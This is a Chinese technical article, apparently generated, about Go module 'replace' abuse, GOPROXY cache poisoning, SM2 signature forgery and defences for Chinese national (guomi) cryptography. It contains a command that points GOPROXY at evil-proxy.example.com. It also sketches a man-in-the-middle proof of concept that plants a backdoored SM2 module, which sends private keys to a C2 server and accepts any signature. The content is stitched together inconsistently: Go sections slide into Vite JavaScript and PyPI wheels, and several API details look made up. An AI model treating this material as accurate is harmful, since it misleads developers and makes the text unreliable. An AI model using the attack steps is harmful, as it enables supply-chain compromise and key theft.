第一章:Go Modules replace后国密签名失效的根源剖析
当项目中使用 replace 指令强制覆盖国密相关模块(如 github.com/tjfoc/gmsm 或 github.com/deatil/go-crypto)时,签名验证失败并非偶然现象,而是由 Go Modules 的依赖解析机制与国密算法实现强耦合性共同导致的深层问题。
替换引发的包路径不一致
Go Modules 通过 import path 唯一标识包。若 go.mod 中存在如下 replace:
replace github.com/tjfoc/gmsm => ./vendor/gmsm-fork
则所有 import "github.com/tjfoc/gmsm/sm2" 的代码在编译期实际引用的是本地路径下的包——但其内部常量、全局变量(如 SM2 默认曲线参数 P256V1)、以及 crypto.Signer 接口实现的反射类型信息均发生变更。签名验签过程依赖 reflect.TypeOf() 判断算法类型,而替换后包路径不同导致 sm2.PrivateKey 与 sm2.PublicKey 的 reflect.Type 不再匹配原始签名所用的类型实例。
标准库 crypto 包的隐式依赖断裂
国密库常通过 crypto.Signer 和 crypto.Decrypter 接口与 crypto/x509、crypto/tls 协同工作。x509.ParseCertificate() 在解析含 SM2 签名的证书时,会依据 PublicKey.Algorithm 字段查找对应签名验证器。replace 后若 fork 版本未精确复现原包的 PublicKey.Algorithm 枚举值(如 x509.SM2WithSM3 的整数值为 12),或未注册相同 OID(1.2.156.10197.1.501),x509 将回退至默认 RSA 验证逻辑,直接返回 x509.ErrUnsupportedAlgorithm。
可复现的诊断步骤
- 运行
go list -f '{{.Deps}}' ./... | grep gmsm确认实际加载路径; - 检查签名生成与验证两端是否使用完全一致的模块版本哈希(执行
go mod graph | grep gmsm); - 对比关键类型
reflect.TypeOf(privateKey).PkgPath()输出,确认是否均为github.com/tjfoc/gmsm/sm2。
| 问题环节 | 表现特征 | 排查命令示例 |
|---|---|---|
| 包路径不一致 | panic: interface conversion: ... is not sm2.PrivateKey |
go build -gcflags="-l" -o test main.go && ./test |
| OID 注册缺失 | x509: unknown signature algorithm |
openssl x509 -in cert.pem -text -noout \| grep "Signature Algorithm" |
| 曲线参数不匹配 | sm2: invalid public key |
在验签前打印 pubKey.Curve.Params().Name |
第二章:GOPROXY缓存污染与语义化版本劫持机制深度解析
2.1 Go模块代理缓存模型与哈希校验绕过原理
Go 模块代理(如 proxy.golang.org)采用内容寻址缓存:模块版本通过 sum.golang.org 提供的 go.sum 哈希记录校验,但代理本身不强制验证哈希一致性后再缓存。
数据同步机制
代理在首次拉取模块时:
- 下载
.zip、.info、.mod文件 - 缓存至本地存储(如 blob store)
- 不实时向
sum.golang.org查询该版本哈希
哈希校验绕过路径
# 客户端配置恶意代理后发起请求
GOPROXY=https://evil-proxy.example.com go get example.com/pkg@v1.2.3
逻辑分析:
go命令仅在校验阶段(go mod download -json或构建时)才向sum.golang.org校验哈希;若代理已缓存篡改后的.zip,且客户端未启用GOSUMDB=off或自定义GOSUMDB,则首次下载跳过远程哈希比对,导致脏数据进入 module cache。
| 组件 | 是否参与首次下载哈希校验 | 说明 |
|---|---|---|
| Go CLI | 否(仅缓存后校验) | 下载阶段信任代理响应 |
| sum.golang.org | 否(异步校验) | 仅在 go mod verify 或 go build 时触发 |
| 代理服务 | 否(无强制校验逻辑) | RFC 无关,属实现自由 |
graph TD
A[go get] --> B[请求代理 /pkg/@v/v1.2.3.zip]
B --> C{代理是否缓存?}
C -->|是| D[直接返回本地.zip]
C -->|否| E[上游拉取→存入缓存→返回]
D --> F[go CLI 写入 $GOCACHE]
F --> G[后续 go mod verify 才查 sum.golang.org]
2.2 replace指令在module graph resolution中的执行时序与信任边界塌陷
replace 指令并非模块解析末期的“重写钩子”,而是在 resolveId 阶段早期介入、直接劫持模块标识符映射的解析时干预点。
执行时序关键节点
- 在
bare import解析后、load前触发 - 绕过
package.json#exports和conditions语义校验 - 直接注入伪造的 resolved ID,跳过真实依赖图拓扑验证
// vite.config.ts 中的典型 replace 配置
export default defineConfig({
resolve: {
alias: { 'lodash': 'lodash-es' }, // ✅ 安全别名(保留语义)
// ❌ 危险 replace(无条件覆盖)
dedupe: ['react'],
// 实际生效的是插件中自定义的 replace logic:
},
plugins: [{
name: 'unsafe-replace',
resolveId(id) {
if (id === 'axios') return '/fake-axios.mjs'; // ⚠️ 强制重定向
}
}]
});
该 resolveId 返回值将直接成为 module graph 中的 canonical id,后续所有 import、import.meta.resolve() 均基于此伪造路径构建依赖边——导致原始包签名、integrity hash、scope isolation 全部失效。
信任边界塌陷示意
| 原始信任锚点 | replace 后状态 | 安全后果 |
|---|---|---|
node_modules/axios/package.json |
被完全绕过 | 版本锁定与许可证失效 |
Subresource Integrity |
无法校验伪造模块 | 供应链投毒风险激增 |
ESM scope isolation |
伪造模块共享 globalThis | 意外污染与原型链劫持 |
graph TD
A[import 'axios'] --> B[resolveId hook]
B --> C{replace?}
C -->|yes| D[/fake-axios.mjs/]
C -->|no| E[node_modules/axios/index.js]
D --> F[load: 不校验 integrity]
F --> G[执行:无沙箱隔离]
这种提前介入使 replace 成为 module graph resolution 中首个可篡改信任根的可控入口。
2.3 semver不兼容版本(如v0.0.0-20231201000000-abcdef123456)引发的依赖解析歧义实践复现
Go 模块系统对 v0.0.0-yyyymmddhhmmss-commit 这类伪版本(pseudo-version)默认视为 非语义化版本,在 go.mod 中混用时易触发解析歧义。
依赖冲突复现场景
# go.mod 片段
require (
example.com/lib v0.0.0-20231201000000-abcdef123456 # 伪版本
example.com/lib v1.2.3 # 正式 SemVer
)
Go 工具链将拒绝加载:
ambiguous import: found ... in multiple modules。因伪版本无明确主版本锚点,v1.2.3与v0.0.0-...被视为不同模块路径,违反单一导入路径原则。
解决路径对比
| 方案 | 是否保留伪版本 | 兼容性影响 | 推荐场景 |
|---|---|---|---|
go get example.com/lib@v1.2.3 |
否 | ✅ 无破坏 | 生产环境 |
replace example.com/lib => ./local-fork |
是(仅本地) | ⚠️ 需同步维护 | 开发调试 |
版本解析决策流
graph TD
A[解析 require 行] --> B{是否含 v0.0.0-?}
B -->|是| C[检查是否唯一伪版本]
B -->|否| D[按 SemVer 规则排序]
C --> E[存在多伪版本?→ 报错]
2.4 基于go list -m -json与GODEBUG=goproxylookup=1的缓存污染动态观测实验
Go 模块代理缓存污染常导致 go build 行为不一致。本实验通过双机制协同实现运行时污染捕获。
动态代理查询启用
启用调试标志触发模块查找路径日志:
GODEBUG=goproxylookup=1 go list -m -json all 2>&1 | grep "proxy lookup"
GODEBUG=goproxylookup=1强制 Go 工具链输出每次模块解析时的 proxy 查询细节(含 URL、响应状态、缓存命中标识),便于定位非预期代理跳转。
模块元数据结构化输出
go list -m -json github.com/gorilla/mux@v1.8.0
-m指定模块模式,-json输出标准化 JSON;字段如Dir(本地缓存路径)、Origin(源仓库信息)、Replace(是否被替换)直接反映缓存真实状态。
关键观测维度对比
| 维度 | go list -m -json 输出 |
GODEBUG=goproxylookup=1 日志 |
|---|---|---|
| 缓存路径 | ✅ Dir 字段明确 |
❌ 仅含 HTTP 请求上下文 |
| 代理决策依据 | ❌ 隐式(不可见) | ✅ 显示 proxy: direct/https://proxy.golang.org |
| 替换/重定向行为 | ✅ Replace, Indirect |
✅ 记录 redirected to 事件 |
污染传播路径(简化)
graph TD
A[go get github.com/A/v2] --> B{go list -m -json}
B --> C[读取 GOPATH/pkg/mod/cache/download]
C --> D[GODEBUG=goproxylookup=1 日志]
D --> E[发现 proxy.golang.org → mirror.example.com 重定向]
E --> F[确认缓存目录混入非官方哈希]
2.5 构建可复现的proxy中间人劫持PoC:伪造index.json与zip响应注入恶意SM2实现
为实现可控的中间人劫持验证,需在HTTP代理层动态重写PyPI包元数据及分发内容。
关键劫持点
- 拦截
GET /simple/<pkg>/返回伪造的index.json(含恶意wheel链接) - 拦截
.whlZIP请求,解压→替换cryptography/hazmat/primitives/asymmetric/sm2.py→ 重新打包
响应伪造逻辑(Python伪代码)
def forge_index_json(pkg_name, malicious_url):
return json.dumps({
"files": [{
"filename": f"{pkg_name}-1.0.0-py3-none-any.whl",
"url": malicious_url, # 指向本地托管的篡改wheel
"hashes": {"sha256": "deadbeef..." }
}]
}, indent=2)
该函数生成符合PEP 503规范的索引响应;malicious_url 必须指向同域下可控路径,规避CORS与HTTPS混合内容拦截。
恶意SM2注入要点
| 组件 | 原始行为 | 注入后行为 |
|---|---|---|
sign() |
标准SM2签名 | 签名同时外泄私钥至C2服务器 |
verify() |
验证签名有效性 | 总返回True(降级信任) |
graph TD
A[Client pip install foo] --> B[Proxy intercepts /simple/foo/]
B --> C[Return forged index.json]
C --> D[Client fetches malicious.whl]
D --> E[Proxy rewrites ZIP: inject backdoored sm2.py]
E --> F[Client installs tampered wheel]
第三章:SM2算法标识符硬编码引发的密码学信任链断裂
3.1 OID 1.2.156.10197.1.501在X.509证书、CMS签名与Go crypto/x509标准中的语义冲突分析
该OID由中国商用密码管理局(OSCCA)定义,标识SM2算法在特定国密扩展场景下的签名策略标识(如《GMT 0015-2012》中指定的“SM2-with-SM3”组合签名机制)。
冲突根源
- X.509证书中,该OID常被置于
signatureAlgorithm字段,表示证书签名所用算法; - CMS(RFC 5652)中,它出现在
SignerInfo.signatureAlgorithm,但语义应为“签名生成算法”,而非“摘要+签名联合标识”; - Go 的
crypto/x509将其硬编码映射为x509.SM2WithSM3,却未区分证书签名与CMS签名上下文,导致ParseCertificate()成功而SignerInfo.Verify()失败。
Go源码片段示意
// 摘录自 crypto/x509/common.go(简化)
var oidSignatureSM2WithSM3 = []int{1, 2, 156, 10197, 1, 501}
func init() {
signatureAlgorithmNames[oidSignatureSM2WithSM3] = "SM2WithSM3"
}
此注册仅声明名称,未绑定 crypto.Signer 接口实现约束,亦未校验CMS中该OID是否允许出现在 digestAlgorithm 上下文中。
| 场景 | 标准要求 | Go crypto/x509 行为 |
|---|---|---|
| X.509证书签名 | ✅ 合法 OID | 解析成功,验证链正常 |
| CMS SignerInfo | ❌ 应仅用于 signatureAlgorithm | 误用于 digestAlgorithm 时静默失败 |
graph TD
A[OID 1.2.156.10197.1.501] --> B[X.509 Certificate]
A --> C[CMS SignerInfo.signatureAlgorithm]
A --> D[CMS SignerInfo.digestAlgorithm]
D --> E[语义越界:Go不校验,验证崩溃]
3.2 国密库中ASN.1 Marshal/Unmarshal路径对OID硬编码的隐式依赖验证实验
为验证国密库(如 gmgo 或 gmsm)在 ASN.1 编解码过程中是否隐式依赖 OID 字面量,我们构造了三组对照实验:
- 修改
sm2PublicKey对应 OID(1.2.156.10197.1.301)为非法值后执行asn1.Marshal - 在
Unmarshal前动态 patch 全局 OID 注册表 - 使用反射劫持
asn1.tagBytes路径中的 OID 比较逻辑
实验关键代码片段
// 模拟 OID 硬编码检查点(实际位于 asn1/common.go 或 crypto/x509)
func isSM2PublicKey(algo *pkix.AlgorithmIdentifier) bool {
return bytes.Equal(algo.Algorithm, []byte{0x2a, 0x81, 0x1c, 0xcf, 0x55, 0x01, 0x81, 0x8d}) // 即 1.2.156.10197.1.301
}
该字节序列是 DER 编码的 OID 硬编码,未通过 encoding/asn1.ObjectIdentifier 动态解析,导致无法通过配置切换算法标识。
验证结果摘要
| 场景 | Marshal 是否失败 | Unmarshal 是否失败 | 根本原因 |
|---|---|---|---|
| OID 字节数组篡改 | 否 | 是 | Unmarshal 中硬编码比对失败 |
| 动态注册新 OID | 否 | 否(若 patch 及时) | 仅影响 ObjectIdentifier.UnmarshalASN1 路径 |
graph TD
A[Marshal] -->|跳过 OID 语义校验| B[DER 编码成功]
C[Unmarshal] -->|硬编码字节匹配| D{OID 匹配?}
D -->|否| E[panic: unknown algorithm]
D -->|是| F[继续解析密钥参数]
3.3 替换依赖后公钥解码失败的panic堆栈溯源:crypto/sm2.(*PublicKey).UnmarshalBinary调用链断点调试
当替换 github.com/tjfoc/gmsm 为 gitee.com/fantasy1024/sm2 后,UnmarshalBinary 触发 panic:
// panic: reflect: call of reflect.Value.Type on zero Value
pub := &sm2.PublicKey{}
err := pub.UnmarshalBinary(data) // data 是合法 ASN.1 SEQUENCE
关键差异:新库中 (*PublicKey).UnmarshalBinary 内部直接调用 asn1.Unmarshal,但未初始化 Curve 字段,导致 reflect.ValueOf(pub.Curve).Type() 崩溃。
调用链关键断点
crypto/sm2.(*PublicKey).UnmarshalBinary- →
asn1.Unmarshal(传入&pub.Curve) - →
reflect.Value.Elem()在空接口上触发 panic
修复对比表
| 项目 | 原依赖(tjfoc) | 新依赖(fantasy1024) |
|---|---|---|
| Curve 初始化 | init() 中预设 elliptic.P256() |
依赖调用方显式赋值 |
| Unmarshal 安全性 | ✅ 检查 pub.Curve != nil |
❌ 直接反射解包 |
graph TD
A[UnmarshalBinary] --> B{pub.Curve == nil?}
B -->|yes| C[Panic: reflect.Value.Type on zero Value]
B -->|no| D[asn1.Unmarshal into pub.Curve]
第四章:CVE-2024-GM001供应链攻击全链路还原与防御体系构建
4.1 攻击者视角:从go.mod replace注入到SM2签名伪造的端到端利用链构造
植入可控依赖路径
攻击者在目标项目 go.mod 中添加恶意 replace 语句:
replace github.com/tendermint/btcd => github.com/attacker/btcd v0.23.0
该指令强制 Go 构建系统将官方 btcd 替换为攻击者控制的 fork。关键在于,该 fork 在 crypto/sm2/sm2.go 中篡改了 Sign() 函数——移除对 r, s 的标准范围校验,并硬编码返回固定签名值(如 r=1, s=1),绕过 SM2 签名有效性验证逻辑。
利用链触发条件
- 目标服务使用
go.sum未锁定间接依赖 - CI/CD 流程未启用
GOPROXY=direct或校验replace合法性 - 业务层直接调用
sm2.Sign()验证用户提交的交易签名
关键参数影响
| 参数 | 原始行为 | 恶意覆盖后 |
|---|---|---|
r, s 范围检查 |
0 < r,s < n |
完全跳过 |
e(摘要)来源 |
sha256(ASN.1(DER)) |
可被预控输入诱导碰撞 |
k(随机数) |
RFC 6979 deterministic | 固定为 1 |
graph TD
A[go.mod replace 注入] --> B[构建时加载恶意 btcd]
B --> C[SM2.Sign 返回伪造 r=1,s=1]
C --> D[验签函数 verify(r,s) 误判为有效]
D --> E[特权操作绕过]
4.2 检测层实践:基于govulncheck + 自定义rule的replace指令风险策略扫描器开发
Go 项目中 replace 指令常被用于临时覆盖依赖,但也可能引入恶意或降级版本,绕过官方漏洞数据库校验。我们构建轻量扫描器,协同 govulncheck 的标准检测能力与自定义规则引擎。
核心检测逻辑
- 解析
go.mod中所有replace声明 - 对比
govulncheck -json ./...输出的已知漏洞模块列表 - 标记被
replace覆盖但存在 CVE 的模块(如golang.org/x/crypto => github.com/badfork/crypto v0.12.0)
规则匹配示例(YAML)
# rules/replace-risk.yaml
id: replace-to-untrusted-host
severity: HIGH
pattern: 'replace\s+([\w\.\-\/]+)\s+=>\s+(?!(./|\.\./|github\.com/|go\.go\.org/))[\w\.\-\/@]+'
message: "Replace points to untrusted host, bypassing vulnerability verification"
扫描流程(mermaid)
graph TD
A[Parse go.mod] --> B[Extract replace directives]
B --> C[Run govulncheck -json]
C --> D[Match custom YAML rules]
D --> E[Flag high-risk replacements]
风险等级对照表
| 替换源类型 | 示例 | 风险等级 |
|---|---|---|
| 私有 Git 仓库 | gitlab.example.com/lib/foo |
HIGH |
| GitHub Gist | gist.github.com/abc123 |
MEDIUM |
| 本地路径 | ./vendor/xyz |
LOW |
4.3 防御层实践:go.sum强一致性校验增强、SM2 OID白名单注册机制与crypto.RegisterHash扩展方案
go.sum校验强化策略
在构建流水线中嵌入 go mod verify -v 并比对锁定哈希与远程模块源码哈希,确保依赖图不可篡改:
# 验证所有依赖的sum文件一致性,并输出差异摘要
go mod verify -v 2>&1 | grep -E "(mismatch|invalid)"
该命令触发 Go 工具链对 go.sum 中每条记录执行 SHA256 校验,参数 -v 启用详细输出,便于 CI/CD 环境快速失败。
SM2 OID 白名单注册机制
采用白名单约束国密算法标识符,防止非法 OID 注入:
| OID 字符串 | 是否允许 | 说明 |
|---|---|---|
1.2.156.10197.1.301 |
✅ | 国标 SM2 公钥算法 |
1.2.840.10045.2.1 |
❌ | ECDSA(非国密) |
crypto.RegisterHash 扩展方案
动态注册 SM3 哈希函数供 TLS/证书栈调用:
import "crypto"
import _ "golang.org/x/crypto/sm3"
func init() {
crypto.RegisterHash(crypto.SM3, func() hash.Hash { return sm3.New() })
}
crypto.RegisterHash 将 crypto.SM3 类型与构造函数绑定至全局哈希注册表,使 x509.CreateCertificate 等标准库函数可原生支持 SM3 签名。
4.4 运维层实践:私有GOSUMDB部署与国密模块专用proxy镜像的CI/CD流水线集成
私有GOSUMDB高可用部署
采用双节点Raft集群模式部署 sum.golang.org 兼容服务,使用 gosumdb 官方工具链,配置 TLS 双向认证与国密SM2证书签发。
# 启动国密增强版gosumdb(支持SM3哈希校验)
gosumdb -cache-dir /data/cache \
-public-key "sm2:MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE..." \
-hash-algo sm3 \
-listen :3010
逻辑说明:
-hash-algo sm3强制模块校验使用国密SM3摘要算法;-public-key指定SM2公钥用于签名验证,确保sum文件不可篡改;-cache-dir启用本地持久化缓存,降低上游依赖。
CI/CD流水线集成关键步骤
- 构建阶段注入
GOSUMDB=https://sum.internal.example.com环境变量 - 使用自研
gm-proxy镜像(基于goproxy.io二次开发,内置 SM3/SM4 加解密中间件) - 流水线自动触发
go mod verify+gm-proxy --validate-sm3双重校验
国密proxy镜像能力对比
| 特性 | 社区goproxy | 国密增强版gm-proxy |
|---|---|---|
| SM3模块校验 | ❌ | ✅ |
| SM4加密传输通道 | ❌ | ✅(TLS 1.3 + SM4-GCM) |
| 与私有GOSUMDB联动 | 仅HTTP | 支持双向SM2鉴权 |
graph TD
A[CI触发] --> B[设置GOSUMDB环境变量]
B --> C[下载依赖]
C --> D{gm-proxy拦截}
D -->|SM3哈希比对| E[GOSUMDB校验]
D -->|SM4加密回源| F[私有镜像仓库]
第五章:国密生态可持续演进的技术共识与标准化倡议
国密算法在金融信创场景的规模化落地实践
某全国性股份制银行于2023年完成核心支付系统SM2/SM4全链路改造,覆盖网银、手机银行、银联无感支付及内部清算通道。改造中采用“双证书并行+灰度切流”策略:存量RSA证书维持6个月兼容期,新签发证书强制启用SM2非对称加密与SM3哈希;交易报文加密统一切换至SM4-CBC模式,并通过国密SSL网关(支持TLS 1.3国密套件)实现端到端安全。实测显示,SM2签名耗时较RSA-2048降低37%,SM4加解密吞吐量达42 Gbps(基于鲲鹏920+飞腾D2000双平台验证)。
开源国密中间件社区协作机制
OpenSSL国密分支(openssl-sm)已形成由CFCA、江南天安、华为云与中科院软件所联合维护的治理模型。截至2024年Q2,该分支累计合并PR 1,286个,其中32%来自金融行业用户提交的生产环境补丁(如SM4-XTS磁盘加密适配、SM2密钥派生KDF-SM3优化)。社区建立自动化CI/CD流水线,每提交触发国密算法FIPS 140-3合规性测试(含NIST SP800-22随机性检测、侧信道防护验证),并通过GitHub Actions每日向GM/T 0028-2014标准库比对一致性。
国密硬件模块互操作性基准测试框架
为解决不同厂商HSM(硬件安全模块)间SM2密钥协商不兼容问题,中国密码学会牵头制定《GM/T 0059-2023 国密HSM互操作性测试规范》。测试框架包含以下核心用例:
| 测试项 | 输入参数 | 预期输出 | 通过率(2024样本) |
|---|---|---|---|
| SM2密钥交换(ECC_SM2) | 同一曲线参数下双方公钥 | 共享密钥字节完全一致 | 89.2%(17/19设备) |
| SM4 ECB模式跨设备解密 | 设备A加密+设备B解密 | 明文还原准确率100% | 100%(全部支持) |
| SM3 HMAC生成一致性 | 相同密钥与消息 | HMAC值十六进制字符串完全匹配 | 73.7%(14/19设备) |
跨云环境国密服务网格治理
某省级政务云平台构建基于Istio的国密Service Mesh,所有微服务间通信强制启用mTLS,证书签发由自建国密CA(基于CFCA SM2根证书)统一管理。关键创新点包括:
- Envoy代理动态加载国密插件(
envoy.filters.http.sm_tls_auth),支持HTTP头部透传SM2签名验签结果; - Prometheus采集各节点SM4加密延迟P99指标,当>15ms自动触发流量降级至SM2+AES-GCM混合模式;
- 使用Mermaid定义服务间国密策略继承关系:
graph TD
A[国密CA中心] -->|签发| B[API网关]
A -->|签发| C[用户认证服务]
B -->|SM2双向认证| D[订单服务]
C -->|SM3-HMAC校验| D
D -->|SM4-GCM加密| E[数据库代理]
国密标准演进的产业反馈闭环
工信部密码应用推进工作组建立“标准-产品-场景”三级反馈通道:银行机构通过“国密适配问题直报平台”提交SM9标识密码在电子票据存证中的性能瓶颈(ECDSA签名验签延迟超标),直接推动GM/T 0044-2023《SM9标识密码算法》第2号修改单发布,新增椭圆曲线参数优化建议及硬件加速指令集映射指南。2024年上半年,该通道累计沉淀可复用技术方案47项,其中12项已纳入新修订的《GB/T 32918.2-2023 信息安全技术 SM2椭圆曲线公钥密码算法 第2部分:数字签名算法》附录C。
